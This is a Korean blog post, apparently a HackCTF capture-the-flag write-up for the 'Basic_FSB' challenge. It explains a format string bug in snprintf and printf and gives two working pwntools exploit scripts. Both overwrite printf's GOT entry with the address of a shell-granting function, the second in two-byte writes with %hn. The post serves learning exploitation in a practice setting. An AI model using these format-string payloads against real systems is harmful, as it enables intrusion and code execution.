이번에 풀이할 문제는 미루고 미뤘던 Format String Bug 취약점 관련 문제다. 예전부터 계속 fsb 취약점을 공부하려 시도했지만 뇌정지가 오거나 이해가 안되는 부분이 많아, 여러 번 실패했었다. 맘 잡고 몇 시간 정도를 fsb 취약점만 공부한 끝에 결국 fsb 취약점을 이해해버렸다. (취약점 관련 포스팅도 조만간 할 계획이다.)
format string bug 취약점 공부에 참고한 사이트
dreamhack.io/learn/3#t194 (dreamhack은 전설이다..)
따라서 이번에는 fsb 취약점을 몰라 풀지 못한 HackCTF의 Basic_FSB 문제를 풀이해보겠다.
문제 파일은 elf 파일 basic_fsb가 주어져 있다. 먼저 보호기법을 확인해보겠다.
RELRO 보호기법 빼고는 다 꺼져 있다. 여차하면 bof, shallcode를 사용한 공격도 가능하겠다.
ghidra에 익숙해질겸 ida가 아닌 ghidra로 문제파일을 살펴봤다. 위 사진은 main 코드 부분인데 디컴파일 결과를 보면 setvbuf 함수를 호출하고 이름부터 취약한 vuln 함수를 호출하고 동작을 끝낸다.
vuln 함수를 살펴보겠다.
vuln 함수는 1024, 1032 크기의 char형 배열을 생성하고 fgets를 통해 사용자 입력을 받는다.
아쉽게도 입력 크기를 0x400byte(1024)로 정해놔서 bof는 일어나지 않는다. sprintf 함수가 아닌 snprintf 함수를 써줌으로써 bof 위협도 예방했다.
그런데 보면 snprintf 함수에 서식 지정자가 없다. 그 말은 즉 format string bug 취약점이 발생할 수 있다는 것이다.
snprintf로 local_80c에서 local_40c로 복사를 하는데 서식 지정자가 존재하지 않아 fsb 취약점이 발생한다.
올바른 사용법은 다음과 같다.
snprintf(local_40c, 0x400, "%s",local_80c);
그뿐만 아니다. 그 아래 출력문 printf 역시 서식 지정자 없이 local_40c를 그대로 출력해준다. 만약 local_40c에 %s 같은 서식 지정자가 들어있다면 "%s" 그대로 출력해주는게 아닌 이 서식 지정자의 역할을 수행한 값이 출력된다.
따라서 snprintf, printf에 fsb 취약점이 존재하므로 둘 중 한 곳을 골라서 공격하면 되는데, 아래 사진에서 찾은 flag 함수가 shall을 얻게 해주므로 함수의 got을 overwrite해 flag 함수의 주소로 바꿔주면 되겠다. printf 함수의 got을 overwrite 하면 된다.
문제 파일을 실행하고 입력 값이 어느 위치에 저장되는지 서식 지정자 입력을 통해 확인해봤다.
입력한 값은 2번째 포맷 스트링에 위치하는 것을 알 수 있다.
gdb를 통해 flag 함수의 주소와 printf의 got 주소를 확보했다. 이제 got 주소에 flag 함수의 주소를 overwrite해주면 된다.
from pwn import *
payload = p32(0x0804a00c)+b'%134514096c%2$n' # payload
r = remote('ctf.j0n9hyun.xyz', 3002) # server
#r = process('./basic_fsb') local
r.sendline(payload) # sending payload
r.interactive()
첫 번째에 printf의 got 주소를 32bit little endian으로 패킹한 후 2 번째 포멧 스트링으로 flag 주소(0x080485b4)의 10진수 값인 134514100 - 4(printf의 got 주소는 -) 만큼 %c 서식 지정자로 공백을 생성하고 %2$n으로 2번째 포맷 스트링에 입력된 문자열의 길이를 입력해줬다. 이 2번째 포맷 스트링 위치가 got이기 때문에 got에는 0x080485b4가 입력돼 printf 함수를 호출하는 순간 flag 함수가 실행될 것이다.
-번외
포맷 스트링을 완벽히 이해하지 못한 것 같아 %hn 서식 지정자를 사용해 2byte씩 got을 overwrite 해보기로 했다.
from pwn import *
payload = p32(0x0804a00e)+p32(0x0804a00c)+b'%2044c%2$hn%32176c%3$hn' # payload
r = remote('ctf.j0n9hyun.xyz', 3002) # server
#r = process('./basic_fsb') local
r.sendline(payload) # sending payload
r.interactive()
2byte씩 overwrite를 하기 위해서 printf_got+2 + printf_got 주소를 먼저 추가했고 printf_got+2에 해당하는 서식 지정자에 flag 함수의 주소 상위 2byte를 %c와 %hn을 이용해 넣고(printf_got+2, printf_got 주소가 앞에 존재하므로 -8 해줘야한다.), 그 후 printf_got에 해당하는 부분에 flag 주소의 하위 2byte를 %c, %hn을 이용해 넣는다.(8+2044(상위 2byte를 넣기 위해 이미 2044byte만큼의 공백을 생성했기 때문) 만큼 -를 해준다.)
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Offset (0) | 2021.05.11 |
---|---|
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.05.11 |
[HackCTF] x64 Simple_size_BOF (0) | 2021.04.28 |
[HackCTF] x64 Buffer Overflow (0) | 2021.03.20 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.03.18 |